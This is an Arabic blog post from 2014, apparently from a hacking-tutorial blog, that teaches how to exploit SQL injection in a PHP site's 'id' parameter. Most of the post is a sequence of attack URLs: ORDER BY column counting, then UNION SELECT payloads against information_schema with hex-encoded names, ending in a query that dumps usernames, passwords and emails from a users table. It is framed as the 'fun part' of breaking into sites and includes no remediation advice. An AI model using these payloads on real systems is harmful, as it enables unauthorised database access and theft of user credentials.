دروس-شروحات-ثغرات-خدع-اختراق شبكات-تعطيل حسابات

----------------------------------------------------------------------------------------

الاثنين، 8 ديسمبر 2014

ثغرات SQL Injection ما سببها ومخاطرها وكيف يتم استغلالها في الاختراق

بسم الله الرحمن الرحيم 

إن شاء الله في هذا الدرس رح نتعرف على ثغرات الـ SQL Injection وما سببها وكيف يتم استغلالها في الاختراق .
بسم الله .
سببها :- 
سببها أن المرمج يسئ استعمال الاستعلام   mysql_query  مما يودي إلى حدوث خطاء يودي الى الوصول الى استخراج قواعد البيانات ومع الجداول والاعمدة ويتم ذالك بطريقتين POST و GET
مخاطرها :-
تعتبر ثغرات SQL من اخطر الثغرات التي قد يواجها السيرفرات او المواقع والتي قد يبحث عنها المهاجم (الهكر) عند محاولتة الدخول على احدى السيرفرات و لها مخاطر كثيرة .
1 – استعراض قواعد البيانات بمحتوياتها .
2- تنفيذ اوامر SQL على السيرفر وقد تودي الى الحصول على اكبر صلاحيات “root” في حالة تم تشغيل mysql بصلاحيات روت
3- رفع شل على الموقع .
4 – قراءة الملفات التي على السيرفر من خلال الاستعلام load_file()
5- حقن ملفات error_logs بدوال php
وغيرها  .. إلخ
طريقة استغلالها :- 
هنا نأتي الى الجزء الاهم او الاكثر متعة  :)
نفرض أننا لدينا الموقع التالي .
http://www.site.com/news.php?id=1
من اجل فحص اذا كان الموقع مصاب نضيف (‘)
اذا كان الموقع مصاب يحصل تغير في الصفحة التغير هذا قد يشتمل تغير في المحتوى او يختفي المحتوى الموجود او تظهر رسالة خطاء مثل
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/user/public_html/news.php on line 69
طيب الان بعد ما تأكدنا بأن الموقع مصاب نبدا عملية الاستغلال للخطاء واستخراج قواعد البيانات
اول خطوة هي تحديد العمود المصاب  وذالك من خلال الامر order by  [column number]
رح يكون الرابط بعد إضافة الامر كتالي .
http://www.site.com/news.php?id=1 order by  [column number]
 [column number] = ارقام نضيفها ونقصها لحصر العمود المصاب
سوف تتضح الفكرة اكثر بعد التعديل عليها ..
لكن في البداية سوف نتعرف كيف رح يتم إضافة هذه الارقام .
في البداية رح نضيف رقم كبير بعد الامر السابق ونراقب محتوى الصفحة  مثلا .
http://www.site.com/news.php?id=1 order by 1000
الصفحة سوف تنعرض مع وجود الخطاء السابق
بعدها نقلل حتى يختفي الخطاء .
http://site.com/news.php?id=1 order by 100 << الخطاء ما زال موجود
http://site.com/news.php?id=1 order by 50 << الخطاء ما زال موجود
http://site.com/news.php?id=1 order by 30  <<  الخطاء ما زال موجو
http://site.com/news.php?id=1 order by 25  << اختفى الخطاء
دعونا نفرض بأن الخطاء اختفى من الصفحة عند إضافة الرقم 25
الان الخطوة التالية وهى إظهار العمود المصاب على الصفحة .
ملاحظة .. :/ الرقم 25 ليس العمود المصاب وقد يكون العمود المصاب احيانا في بعض المواقع .
من اجل إظهار العمود المصاب في الموقع والتعديل عليه بأوامر SQL
سوف نستخدم الامرين  union و select والعد حتى الرقم الذي تم حصره في الخطوه السابقة
سوف تكون النتيجة كتالي .
http://site.com/news.php?id=1  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ولكن تبقى شي مهم جداً وهو الاستعلام Limit 1,1
سوف يكون كتالي .
http://site.com/news.php?id=1 limit 1,1  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
او إضافة (-) اما الرقم 1 وبعد =
رح يكون الامر كتالي .
http://site.com/news.php?id=-1  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
الان سوف يتم عرض العمود المصاب وفي الغالب يكون اكثر من عمود مصاب
نفرض ان العمود المصاب الذي تم عرضه على الصفحة هو العمود رقم 7
الان مكان هذا العمود رح نطبق اوامر SQL
الان من اجل الاستعلام عن الجداول التي تحتوي على الباسوردات في قواعد البيانات وذالك بواسطة الامر التالي .
group_concat(table_name,0x3a,column_name) from information_schema.columns where column_name like 0x2570617325
0x2570617325 = تشفيربواسطة الهكس لكلمة %pas%
 هذا الامر رح يطلب الاعمده التي تحتوي على الباسوردات   رح يكون بعد تطبيقه على الموقع كتالي
http://site.com/news.php?id=-1  union select 1,2,3,4,5,6,group_concat(table_name,0x3a,column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
from information_schema.columns where column_name like 0x2570617325
الان تم عرض المحتوى كتالي .
users:password
users = هو الجدول الذي يحتوي على الباسوردات
password = العمود الذي يتم تخزين فيه كلمات المرور
الان من اجل معرفة العمود الاخرى الموجودة بداخل الجدول users
وذالك بتنفيذ الامر التالي .
group_concat(table_name,0x3a,column_name) from information_schema.columns where table_name=0x7573657273
0x7573657273 = تشفير بواسطة الهكس للجدول users
ننفذ الامر التالي من اجل الحصول على بقيه الاعمده الموجودة في جدول users
http://site.com/news.php?id=-1  union select 1,2,3,4,5,6,group_concat(table_name,0x3a,column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
from information_schema.columns where table_name=0x7573657273
تم عرض المحتوى التالي .
users:id,  users:username, users:password, users:email
id = رقم العضويه
username = المكان الذي يخزن فيه اسامي المستخدمين
password = المكان الذي يخزن فيه الباسوردات
email = المكان الذي يخزن فيه الايميلات
الان من اجل استعراض محتويات الاعمدة الذي تم استخراجه من جدول users
بالتعديل على الامر السابق  كتالي .
http://site.com/news.php?id=-1  union select 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password,0x3a,email),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
from users
عندها سوف يتم عرض كل محتويات الاعمدة الموجودة في جدول users
إنتهى الشرح اتمنى اني وفقت .


0 التعليقات:

إرسال تعليق